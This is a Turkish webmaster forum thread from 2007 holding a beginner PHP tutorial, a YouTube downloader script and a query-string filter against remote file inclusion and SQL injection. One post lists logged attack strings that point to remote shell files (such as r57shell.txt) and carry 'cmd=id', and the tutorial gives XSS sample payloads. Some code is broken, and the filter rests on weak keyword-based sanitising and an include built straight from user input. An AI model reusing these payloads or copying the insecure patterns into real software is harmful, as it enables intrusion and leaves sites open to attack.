Php Ekşin - Google Fan Webmaster Forum
Google Fan Webmaster Forum  

Geri git   Google Fan Webmaster Forum > Server Side Programlama > PHP
Kayıt ol Articles Sosyal Gruplar Forumları Okundu Kabul Et

PHP R10.net Php sevenler klubü. Kodlama soru(n)ları & acil php yardım hattı.

Like Tree1Likes

Cevapla
 
LinkBack Seçenekler
  1  
Alt 13-08-2007, 21:15:00
 
Standart Php Ekşin - Php'ye Giriş ve Çıkış (:

php nedir
PHP- Kodu:
<?php ?>
arasındaki herşeydir
kısa tag olarak <? olarakta yazılabilir
PHP- Kodu:
<? ... ?>
gibi
nasıl yazarım
nereden başlıyalım önce php ile ekrana yazmayı görelim
PHP- Kodu:
<? echo'saho'?>
burada yazdırdık ama ' ' ile yazdırdık bir değişken yazdıracağımızda değişken değil düz metin olarak çıktı verilir ama henüz değişken nedir bilmiyorsunuz. o yüzden hemen değişkeni anlatalım
$degisken='degisken iceri verisi';
veya
$degisken="degisken iceri verisi";
gibi tanımlanır yine üstteki kısım
' ' arasında kod var ise değişken olarak değilde metin olarak algılar " " arasında olursa değişken oolduğunu anlar echo ile değişken basmaya devam örnek
PHP- Kodu:
<?
$saho
='saho değişken değeri';
echo
'$saho';
?>
bu ekrana
$saho çıktısı verir
ama
PHP- Kodu:
<?
$saho
='saho değişken değeri';
echo 
"$saho";
?>
ekrana
$saho değişkenin içini yani
saho değişken değeri
ini bastı yapar
bir püf noktası mesala
PHP- Kodu:
<?
echo'<table><tr><td>...
<form .....
<input ...'
;
?>
gibi bir yazımdan
?>[/php]
<table><tr><td>...
<form .....
<input ...
PHP- Kodu:
<?
yazımı daha hızlı derlenmesine ve daha hızlı çıktı vermesine etki eder bu yüzden bu şekilde kullanılmalıdır bu kısımlarda ise pratik ve kısa yazımlar için bir püf noktası
?>
<table><tr><td>...
<form .....
<input name='saho' value='<?=$saho;?>'>
<?
gibi
PHP- Kodu:
<?= değişken ;?>
gibi kısadan yazılabilir değişken içeriği bastırılabilir
değişkenlere geri dönersek
değişkenleri uc uca ekleyerek toplayabiliriz
$degisken3=$degisken2.$degisken1;
gibi yan yana eklenebilir burada mesala bir çok şey yaplabilir mesala aralarına ayraç koyabilirsiniz
$degisken3=$degisken2.'ayraç'.$degisken1;
gibi php de metin gireceğimizde bu aralıkta
. ile durdurur ' ile metin kısmını açar ' ile kapar .
ile php metini bitiririz, yine ' ' - " " basması geçerlidi değişken kullanmayacaksak ' ' ile metin girişi yapıp az da olsa sayfanızın hızlı derlenmesini sağlayabilirsiniz.
değişkenlerde sıkıntınız varsa ek olarak yazabilirsiniz
php de ölümcül nokta
if lere geldik aslında programlama nın temeli if tir
aslında if herşeydir hadi layn nerden çıkardın diyenlere kapak geliyo
if e yani programlamacılığa ekşin yapıyoruz
önce kısa gösterimler daha sonra kapak etme mevzusuna dönecem
PHP- Kodu:
<?
$saho
='sahoooo';
if(
$saho=='sahoooo') {
şartımız sağlanıyorsa
}
?>
şimdi bir de şey var şartımız sağlanmıyorsa
bunun için epey yöntem var zihnimde 3 tanesi yeterli : ) gibi yazarız 1 ara
yöntem -1
PHP- Kodu:
<?
$saho
='sahoooo';
if(
$saho!='sahoooo') {
şartımız sağlanmıyorsa
}
?>
== yerine != yaparak eşit değilse yapabiliriz
yerini değiştiremezsiniz =! yaparsanız synatx error verir : ) != gibi kullanımı söz konusu
yöntem -2
PHP- Kodu:
<?
$saho
='sahoooo';
if(
$saho<>'sahoooo') {
şartımız sağlanmıyorsa
}
?>
yine eşit değilse diğer php nin temel yöntemi
yöntem -3

PHP- Kodu:
<?
$saho
='sahoooo';
if(
$saho=='sahoooo') {
şartımız sağlanıyorsa
} else {
şartımız sağlanmıyorsa
istediğimizi elde edemediysek
}
?>
hemen basit bir örnek türkiye ip leri başlangıcı 85 var mesala
PHP- Kodu:
<?
$turk_ip
='85';
$adamin_ip=substr($_SERVER["REMOTE_ADDR"],0,2);
if(
$turk_ip==$adamin_ip) {
türkse gösterilecek sayfa
burada genelde
include"turkce_index.php";
} else {
türk ip si değilse
include"digerdiller_index.php";
}
?>
noluyo görsetmediğin şeyler var burada derseniz
2 şey var
1- substr
2- include

hemen yan başlık açalım onlara
substr bir değerin içeriğinin sayısal olarak uzunluklarına göre alınmasını sağlanır
he birde
$_SERVER["REMOTE_ADDR"] var buda kişinin ip sini alır
kişinin ip sini aldık mesala
85.12.98.127 gibi bir şey
bunu substr ile
substr($_SERVER[REMOTE_ADDR],0,2);
yaparak adamın ip sini al 0 dan başla 2 tane karakterini al dedik ve 85 i elde etmiş oldu mesala tr olmayan bir ip ise if de diğer kısım çıkacak substr ın diğer kullanım yöntemleri mesala
subsr($degisken,-4);
en sağdan tersten 4 karakteri alır soldan başlamz yani şöyle bişi daha var
substr i mesala şurada kullanırsın siteye haber ekleyeceksin makale ekleyeceksin uzun makale makalenin bir kısmını ana sayfada göstermek için
substr($yazikaynagi,0,255);
255 tane al ilk 255 karakteri al yani sonra kalanları almak içinse şöyle bir yöntem
substr($yazikaynagi,255,strlen($yazikaynagi));
gibi bir şekilde 255 den değişkenin uzunluğu kadar alırsın evet strlen o değişkenin uzunluğunu sayısal olarak çıktısını verir sonra geçtik nerede kaldıydık ya [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif[/IMG]
heh if leri vermişiz
if böyle çok basit diyosan mesala hani programlamanın temeliydi diyosan mesala
phpde süper değişkenler diye bir şey var bunlar
$_GET, $_POST get form la üretilir yada link verilir php sadece form dan üretilir curl cart curt la zaten suncuuya post attırma mantığı var
link ile mesala
index.php?bolum=saho dersen
PHP- Kodu:
<?
if($_GET["bolum"]=="saho") {
include
"saho.php";
} else {
include
"index.php";
}
?>
gibi bir kullanım var bunun daha pratiği switch var ama onun mantığı da yine if e dayanıyor içinde if den farklı bir şey yoktur.biraz daha basit kullanımı işte üsttekini açıklıyım devam edelim
bolum den gelen değeri
$_GET["bolum"] ile aldık bu saho ya eşitse
saho.php yi sayfaya dahil ettik değilse
index.php yi dahil ettik
mesala 3 sayfanız var saho,deli_dana,index .php adında
PHP- Kodu:
<?
if($_GET["bolum"]=="saho") {
include
"saho.php";
} elseif(
$_GET["bolum]=="deli_dana") {
include"
deli_dana.php";
} else {
include"
index.php";
}
?>
birde mesala get ile verdiğimiz link ile include ettiğimiz dosya adı aynı olmayabilir mesala
PHP- Kodu:
<?
if($_GET["bolum"]=="saho") {
include
"sahabettin.php";
} elseif(
$_GET["bolum]=="deli_dana") {
include"
hosaf.php";
} else {
include"
index.php";
}
?>
şayet öyle ise bunlarıda dinamik hala getirebiliriz ve sürekli anca dosya adını yazmayabiliriz mesala şöyle yapabiliriz
PHP- Kodu:
<?
if($_GET["bolum"]=="saho") {
include
"$_GET["bolum"].php";
} elseif(==
"deli_dana") {
include
"$_GET["bolum].php";
} else {
include
"index.php";
}
?>
gibi
şimdi kısaca switch igösterem
PHP- Kodu:
<?
switch($_GET["bolum"]) {
case
"saho":
include
"saho.php";
break;
case
"deli_dana":
include
"deli_dana.php";
break;
default:
include
"index.php";
break;
}
?>
buda mesala üstteki ile aynı işi yapar biraz daha pratik ama temeli if bununda zaten
include ye gelirsek include edersiniz
saho mesala get bolum değeri
saho.php yoksa include hata verir ama sayfayı basmaya devam eder
require ile yaparsanız şöyle
require"saho.php";
sayfada hata verir direk sitenin diğer kısımlarınıda basmaz aslında bu saho.php sitenin temeli ise gerekli ise kesinlikle require ile sayfa ya dahil edilmelidir ki lamerlerlerin etkilerine tepkisiz kalmamnız için birde şu var mesala
aynı fonksiyon var saho.php nin içinde fonksiyon ney hemen onada gireyim
PHP- Kodu:
 function saho() {
saho fonksiyonunun içeriği

gibi mesala saho.php nin içinnde bu var
saho.php yi oldu bir yanlışlıkla 2 kez dahil ettiniz veya dinamik bir sayfa bir şekilde 2 kez dahil olabilir sayfaya kodlarınızın durum ve karmaşası ve mantığı ve algoritmasına göre 2 kez include edildiyse mesala
duplicate function gibi bir hata verebilir yada
duplicate definition yani 2 kez tanımlanmış bu fonksiyon gibi bir hata verebilir yada saho.php içeriği 2 kez basılır ekrana bunu engellemek için daha önce dahil edilmiş mi bu şeyler diye kontrol etmek için
PHP- Kodu:
 require"saho.php"
yerine
PHP- Kodu:
 require_once"saho.php"
yapmak olayı çözer
PHP- Kodu:
 include"x"
yeirnede
PHP- Kodu:
 include_once"x"
kullanılabilir
kafam dağıldı hemen
for a geçelim mesala
PHP- Kodu:
 for($i=0;$i<10;$i++) {
echo 
$i;

gibi yazarsak 1 den 10 a kadar ekrana yazı basar pratk halini yazalım tek satır echo bastıracaksak for içinde
PHP- Kodu:
 for($i=0;$i<10;$i++)
echo 
$i
parantezleri kullanmadan da yazdıralabilir mesala
title spam yapmak için yada etiket olayları içinde olabilir bu ben 2 sinide gösterem mesala
$spam=array('izle','indir','gonder');
array ney looo diyecek olursanız array
dizi burasya girdiğimiz izle indir gonder tek değişkene atandı toplu işlemler yapmak için daha pratik olur bu buna bin bir türlü erişim var php de $spam[0] derseniz izle 0 . saçma gibi ama 0. değeri alıyor [1] gibi derğerli alıyor mesala for ile şöyle yaparsınız
PHP- Kodu:
 $spam=array('izle','indir','gonder');
for(
$i=0;$i<count($spam);$i++)
echo 
$spam[$i]; 
ekrana ard arda spam ın içeriğini dizer

PHP- Kodu:
 count($spam
spam dizi-array ında kaç veri olduğunu ekrana basar mesala 3 tane ise for 3 kez döner ve tüm içeriğini basar bu amaçla kullandık burada mesala herşeyin temeli if demiştik burada for ile kullandık ya
bunu diziler için en büyük araç olan foreach ile daha kolay basabliriz mesala
PHP- Kodu:
 foreach($spam as $spamx) {
echo 
$spamx;

gibi yine yazdırırsın değeri vs. ile de uğraşmazsın daha pratik daha gelişmiş hali for buna göre daha ilkel yine bunda da tek satır parantezleri kullanmadan daha hızlı olabilirsiniz zaten bu parantezleri parse -syntax error ların temelidir insanı canından bezdirebilir ama eskiden di oda [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif[/IMG] zend var her satırı gösteriyo parantezleri vs. ama notepad,notepad++,dreamveawer kullananlar verem olmaya devam forever verem [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image002.gif[/IMG]
php ye devam mesala iyide ekrana bu spamı bassak elimize ne geçer şöyle bişide geçer
mesala video siten var
video adı $video_adi adlı bir değişkenin içinde veritabanından çekilmiş duruyo veritabanından çekmeyi de görecez anca giriyoz o az uzun kafanızı çok dağıtmıyım şimdi gelmiş değişkende duruyo kabul edelim
$video_adi içinde,
"baptista harika röveşata" yazıyor mesala
title spam yine bu title şeyini meta keyw a da da aktarabiliriz
PHP- Kodu:
 foreach($spam as $spamx)
echo 
$video_adi." ".$spamx
gibi yaparsak
baptista harika röveşata izle
baptista harika röveşata indir
baptista harika röveşata gonder
gibi çıktılar verir title de süper gider
daha sonra mesala array-dizi ile ilgili
shuffle($spam);
yaparsanız
spam da ki izle indir gonder in [0][1][2] lerin yerlerini değişir
birde arrayların güzelliği var toplu işlem yapabilirsiniz mesala şu
PHP- Kodu:
 $_GET["bolum"]
$_GET["obje"
gibi 15 tane get var bunlara güvenlik uygulaması yapacaksınız ' " vs. bunlardan kurtaracaksınız
fonksiyonlarada tekrar dönerek göstereyim mesala
PHP- Kodu:
 function dizi_duz($dizi) { # dizi dedimiz şey $spam mesala
$kotu_seyler=array('or','union','...');
return 
str_replace($kotu_seyler,'',addslashes(strtolower(htmlspecialchars($dizi))));

gibi dizi_duz enleme fonksiyonumuzu tanımlıyoruz
daha sonra
PHP- Kodu:
 foreach($_GET as $saho=>$ankabt)
dizi_duz($_GET[$saho]); 
gibi tüm dizi içeriğine dizi_duz de bir kez tanımladığımız tüm olayları uygulayabiliyoruz
daha yazacağım şey var karışıkta olabilir
Yazar Şahabettin Akca
Bu mesajınızı beğenenler: farukbugur
__________________
O bir dünya markası!

Konu saho tarafından (22-06-2008 Saat 13:57:30 ) değiştirilmiştir..
Alıntı ile Cevapla


2 kişi bu mesajınızı değerlendirdi 2 kişi faydalı buldu
Sponsored Links
  2  
Alt 13-08-2007, 21:15:58
 
Standart

birde bunları çalıştırmanız yapabilmeniz localhostta çalıştırabilmek için
10 Dk. da Ajax Öğren | Yaln&yacute;ıca 10 dk da ajax ö&eth;renin | Makaleler-Dersler
üstteki 6-7 satıra bakarak localhost u öğrenebilirsiniz tekrar yazma gereği duymadım
__________________
O bir dünya markası!
Alıntı ile Cevapla


  3  
Alt 14-08-2007, 02:20:20
 
Standart

hazır yatmadan önce güvenlikle alakalı fonksiyonlara değineyim hafiften
htmlspecialchars-htmlentities
htmlentities iso-8859-9 ve latin5 yani türkçe desteklemiyor ,ent_quotes,iso-8859-9 yapsanda nafile bu yüzden sayfanız utf-8 yada latin1 falansa kullanmanız yoksa benzeri işi yapan
htmlspecialchars ı kullanmanızı öneririm mesala
form yaptınız
PHP- Kodu:
<? 
if(empty($_POST)) { ?>
<form action='' method='post'>
<input type=text name='icerik'>
<input type=submit value='Git'>
</form>
<? } else { 
echo 
$_POST[icerik];
}
?>
gibi yazdırırsanız şuan hiç bir süzme işlemi yapmadınız normal insanlar kullanablir ama
sizin bu iyineyitinizi suistimal edecek bir ton hacker-lamer bulmak mümkün onlar da sizi bulur yada...
bu yüzden mesala oradan
ahmet yazıp gönderebilir ama
<script>....</script>
<script>document.cookie</script>
daha bir ton zararlı kod varyasyonları var bunları mesala direk engelleyebilirsiniz
buradan html bir kod gelmesini beklemiyorsanız htmlspecialchars ile direk tüm gelen html kodlarını egale edebilirsiniz sql de synatx hatalara verecek kodlar içinde addslashes ekliyoruz bunları topluça şöyle yazalım
PHP- Kodu:
 $_POST[icerik]=addslashes(htmlspecialchars($_POST[icerik])); 
mesala hiç ama hiç htmlkod gelmesini beklemiyosunuz direk kökten html temizlik için
PHP- Kodu:
 $_POST[icerik]=strip_tags($_POST[icerik]); 
fonksiyonunu kullanmanız yerinde olacaktır
mysql e gireceğiniz verilere or union vs. lere replace yapıp slashes eklemek yeterli gibi görünsede php.net mysql_real_espace_string fonksiyonunu öneriyor güvenlik sayfasında
yine diğre fonksiyonlar gibi yapıp post dizisinin input namesini [] keyi ile belirtip bir birine eşitleyebiliriz yada bir değişkene atayabiliriz yada yine aynı input keye ayarlıyacaksak
üstte vermiştim tekrar yazayım

PHP- Kodu:
<? 
if(empty($_POST)) { ?>
<form action='' method='post'>
<input type=text name='icerik'>
<input type=submit value='Git'>
</form>
<? } else { 
foreach(
$_POST as $saho=>$ankabt$_POST[$saho]=strip_tags($_POST[$saho]);
echo 
$_POST[icerik];
}
?>
gibi kullanabiliriz
birde bu foreach ı böyle inputtan gelen 15-20 veri gelirken hepsine uygulayıp çokdaha pratik olabilirsiniz diğer yöntem ise
PHP- Kodu:
 $icerik=strip_tags($_POST[icerik]); 
gibi yapabilirsiniz
yine sql e işleyecekseniz
foreach kısmında dönerken veri
PHP- Kodu:
 $_POST[$saho]=mysql_real_escape_string($_POST[$saho]); 
gibi kullanabilirsiniz...
birdemesala
get-posttan gelen tüm veriyi sql e işlemede slashes lemek sql den mesala
fetch_array-row-assoc vs. array diziye atıyorsanız yani oradan da okurken stripslashes yaparak veriyi güvenli şekilde yazıp okuyabilirsiniz.
---
PHP- Kodu:
 foreach($_POST as $saho=>$anka$_POST[$saho]=@addslashes($_POST[$saho]);
foreach(
$_GET as $saho=>$anka$_GET[$saho]=@addslashes($_GET[$saho]); 
--
gelen tüm veriyi slashes ledik
çıkan veride mesala
--
PHP- Kodu:
$saho=mysql_fetch_array(mysql_query("select adi from videolar where id='5' "));
foreach(
$saho as $an=>$ka$saho[$an]=stripslashes($saho[$an]);
gibi kullanabilirsiniz 
__________________
O bir dünya markası!
Alıntı ile Cevapla


  4  
Alt 14-08-2007, 03:31:30
 
Standart

Gerçekten Ekşın oLmuş eLLerine sağLık Saho
__________________
Alıntı ile Cevapla


  5  
Alt 14-08-2007, 11:32:00
 
Standart

PEAR kod standartlarına uygun yazsaydın kodları daha da güzel olurdu.

Yine de güzel olmuş, eline sağlık.
__________________
Kodsuz Dizin
Alıntı ile Cevapla


  6  
Alt 14-08-2007, 12:18:24
 
Standart

tüm yazılar bitince php nin temelini öğreneceğinize inanıyorum aklımda 1 ton yazı var daha yazarken oradan oraya habire bişiler geliyo not alıyom ama atlayacak aralıklar bulamıyom
olmazsa yazdığım script lere bakam oradaki püf noktaları ve kullandığım fonk.ları açıklasam kullanım mantık amaçlarını yazsam epey bir işe yarar zaten az zaman
+ ben tşk ederim.
__________________
O bir dünya markası!
Alıntı ile Cevapla


  7  
Alt 14-08-2007, 12:20:52
 
Standart

harika olmuş adamım
__________________
Dağılın bebeler
Alıntı ile Cevapla


  8  
Alt 14-08-2007, 14:54:38
 
Standart

saol ascer ne alemdesin ya sende yaz 2 bişiler
hazır girmişken bişi daha yazam
youtube indirici getten gelen youtube video id sini indirir.
PHP- Kodu:
<?php //php yi başlattık
if(empty($_GET[id])) die("Id yi boş gönderemezsiniz");//id boş ise ekrana hata verdirdik ve scriptin alt kısmının çalışmasını engelledik die() fonk ile
        
function dosya_al($url) {//dosya al fonksiyonunu tanımlıyoruz $url deişkenini alarak
            
if(function_exists('curl_init')) {//curl fonksiyonu sunucuda mevcut kurulu ise curl ile alıyor yoksa file_get_contents ile alıyor
                
$ch curl_init();
                
curl_setopt ($chCURLOPT_URL$url);
                
curl_setopt ($chCURLOPT_RETURNTRANSFER1);
                
curl_setopt ($chCURLOPT_CONNECTTIMEOUT0);
                
curl_setopt ($chCURLOPT_REFERER$url);
                
$veri curl_exec($ch);
                
curl_close($ch);
            } else {
                
$veri file_get_contents($url);
            }
            return 
$veri;//veri değişkeni fonksiyondan çıktı olarak veriliyor
        
}

function 
indir($id) { //youtube indir fonk. tanımlanyor
$url="http://www.youtube.com/watch?v=".$id;//sayfa atanıyor
$gelen=dosya_al($url);//dosya al fonksiyonuna gidip sayfa çekiliyor
$bic=explode('SWFObject("/player2.swf?hl=en&',$gelen); $bic=explode('"',$bic[1]);
$title=explode('<title>',$gelen); $title=explode('</title>',$title[1]);//preg_match ile yapabilirdik ama ne biliyim zamanında explode ile yapmış koymuşum o yüzden değişmeye gerek duymadım bu explode satırlarınıda 
//SWFObject("/player2.swf?hl=en& buradan başla" a kadar olan kısmı al dedik
//ikinci explode ise sayfanın titlesini yani videonun adını aldık
$veri[baslik]=$title[0];//explode nin [0] . çıktısı video adı
$veri[link]=$bic[0]; // video deep adresi &t= olan kısmı mühimdi
return $veri;// veri arrayına dönüş yaptırdık
}
$gidiyok=indir($_GET[id]);//indir fonksiyonuna id yi gönderdik ve videp deep link ile video adını aldık 
ob_start();//header lerle işlem yapacağımız için ekşin yaptık burayıda
              
ini_set('zlib.output_compression''Off');//zlip çıktı sıkıştırmasını kapadık
           
header('Content-Description: File Transfer');//sayfa açıklaması nı atadık
           
header("Pragma: public");// cache cont dikkat ederseniz youtubeden videoyu izlediyseniz ve bu indiriciye sonra tıklarsanız mesala user videoyu izledi bğeendi indirmek istedi haşırt diye cacheden 1-2 sn de video iner
           
header("Expires: 0");// geçerlilik
           
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           
header("Cache-Control: private",false);
           
header("Content-Type: application/force-download");// bir tip php nin content typleri mesala resim basacaksanız image/jpeg , png gif gibi video ise karakter düzenlemesi yapacaksanız 
//   header("Content-Type: text/html; charset=utf-8"); gibi text/xml vs. gibi atamalar yapılabilir biz burada dosya indirtmek için download yaptık içerik tipini
           
header("Content-Disposition: attachment; filename=\"www.biseyret.com-".$gidiyok[baslik].".flv\";");// içeriğe aldığımız dosya adını ve başınada site adımızı ekledik inecek dosyayı sayfaya atadık
           
header("Content-Transfer-Encoding: binary");// transfer tipini atadık
           
header("Content-Length: ".@filesize($dadi));//indirme sayfasında çıkacak dosya boyutu şukadardır bilgisinede verdik
           
readfile("http://youtube.com/get_video?$gidiyok[link]") or die("Dosya Bulunamadı");// indirme olayıda burada tamama erdi
?>
iyi oldu galiba
bu dosyayı indir.php diye kayıt edin
indir.php?id=youtube_video_id
gibi videoyu indir diye link verebilirsiniz şayet şöyle bişi varsa hostunuzda youtube video id sini
http://www.youtube.com/v/NCO6y2ML7kw

bu şekilde saklıyorsanız
video id sine nasıl erişecem diyorsanız hemen
split-explode 2 side olur split i anlatalım bunları
daha önce
http://www.r10.net/php/73461-php-de-...ibi-okuma.html
burada vermiştim bakabilirsiniz

http://www.youtube.com/v/NCO6y2ML7kw
bu dosya url si

$link değişkeninde diye düşünelim
son video id sini almak için
PHP- Kodu:
$idx=split('/',$link);
$video_id=$idx[4]; 
4. slashes(/) ten sonrası nı video_id değişkenine atamasını
söyledik
link verirkende
<a href='indir.php?id=<?=$video_id;?>' title='$title videosunu indir'>
$title İndir</a>
gibi linklendirebilirsiniz araya img falan koyup ona link verirseniz
vs.vs. herşey mümkün
__________________
O bir dünya markası!
Alıntı ile Cevapla


  9  
Alt 17-08-2007, 20:34:59
 
Standart

bilinen rfi ve union açıklarına tam anlamıyla olmasada epey bir engel olabilecek kısa bir kod bölütü
Kod:
if(!function_exists('stripos')) {//stripos fonk varmı yok mu diye bakıyoruz
  function stripos_clone($haystack, $needle, $offset=0) {
    return strpos(strtoupper($haystack), strtoupper($needle), $offset);//yoksa strips_clone u tanımladık
  }
} else {
  function stripos_clone($haystack, $needle, $offset=0) {
    return stripos($haystack, $needle, $offset=0);
  }
}

if(isset($_SERVER['QUERY_STRING'])) {//isset ile bir sorgu gelmiş mi dedik geldiyse işimize devam ediyoruz
$queryString = strtolower($_SERVER['QUERY_STRING']);//sürekli uzun yazıyı yazmamak için az kısalttık
    if (stripos_clone($queryString,'%select%20') OR stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR stripos_clone($queryString,'https://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'union') OR stripos_clone($queryString,'concat') OR stripos_clone($queryString,'ftp://')) {
        $ip = $_SERVER['REMOTE_ADDR'];
        $sayfa = $queryString;
        $time = time();

/* sql e verileri işlemek isterseniz buraya giriş kodları sql yapısı ise
CREATE TABLE `ban` (
  `id` int(250) NOT NULL auto_increment,
  `ip` varchar(250) collate latin5_bin NOT NULL default '0',
  `sayfasi` varchar(250) collate latin5_bin NOT NULL default '',
  `zaman` varchar(250) collate latin5_bin NOT NULL default '',
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM ;

$sql = "INSERT INTO ban VALUES (NULL,'$ip','$sayfa', '$time')";
$query = mysql_query($sql); 
*/
      die('<title>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA</title><center>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA<BR><BR><img src=imajlar/bandik.gif><br><br>Yapmaya çalıştığınız işlem; <b>'.$queryString.'</b><br> Ip niz<b>; '.$ip.'</b><br><br>lamerlik sağlığa zararlıdır.</center>');//die mesajı
    unset($queryString);// değişkeni bellekten kaldır
exit;//aşağısındaki tüm kodların çalışmasını die iptal etti ama yinede işimizi garantiye alıp exit; yaptık
}
  }
php dosyanızın en üstüne <? , <?php den sonra bu kodları ekleyiniz.

benim yakaladığım rfi ler
Kod:
INSERT INTO `ban` VALUES (19, '201.43.54.9', 'action=http://yem.wpc.or.kr/event_popup/2000603japan/0603japan.files/slide0013_image112.jpg?&cmd=id', '1156264412');

INSERT INTO `ban` VALUES (21, '62.94.78.208', 'l=http://84.19.178.60/~sky/dir/ex.txt?', '1158662636');
INSERT INTO `ban` VALUES (22, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857954');
INSERT INTO `ban` VALUES (23, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
INSERT INTO `ban` VALUES (24, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
INSERT INTO `ban` VALUES (25, '212.34.136.15', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858011');
INSERT INTO `ban` VALUES (26, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858023');
INSERT INTO `ban` VALUES (27, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858038');
INSERT INTO `ban` VALUES (28, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858041');
INSERT INTO `ban` VALUES (29, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858043');
INSERT INTO `ban` VALUES (30, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858045');
INSERT INTO `ban` VALUES (31, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858091');
INSERT INTO `ban` VALUES (32, '201.28.202.17', 'func=http://myspace.si/images/delete.gif??', '1159528932');
INSERT INTO `ban` VALUES (33, '87.8.117.67', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&id=13', '1161170373');
INSERT INTO `ban` VALUES (34, '87.8.117.67', 'action=view&id=http://busca.uol.com.br/uol/index.html?&cmd=id', '1161170373');
INSERT INTO `ban` VALUES (35, '87.2.182.188', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&amp;by=a', '1163459067');
INSERT INTO `ban` VALUES (36, '194.150.108.158', 'func=http://www.inprocon-deutschland.de/images/cc.txt?', '1165604544');
INSERT INTO `ban` VALUES (37, '85.99.51.101', 'action=http://bolivar44.byethost9.com/r57shell.txt?', '1166196248');
INSERT INTO `ban` VALUES (38, '64.186.239.116', 'action=view&id=8//index2.php?_request=&_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://rds.ene.unb.br/rds/.../a/echo4?', '1182635888');
bunlar da eski sql kayıtları diye hatırlıyorum işinze yarar
__________________
O bir dünya markası!
Alıntı ile Cevapla


  10  
Alt 17-08-2007, 20:41:02
 
Standart

rfi için sadece $_SERVER demi işe yarıyor yoksa get post gibi komutlardada işe yararmı ?
Alıntı ile Cevapla


Cevapla


Bookmarks
tesxc
Seçenekler

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Açık



Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 21:25:13.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

“İnsanların en hayırlısı, insanlara faydalı olandır”. H.Ş

Hosting by Radore Hosting

İçerik sağlayacı paylaşım sitelerinden biri olan R10.net WebMaster Forum Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. R10.net hakkında yapılacak tüm hukuksal Şikayetler adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 1 (Bir) Hafta içerisinde R10.net yönetimi olarak tarafımızdan gereken işlemler yapılacak ve Avukatlarımız size dönüş yapacaktır.
ARGUS_OK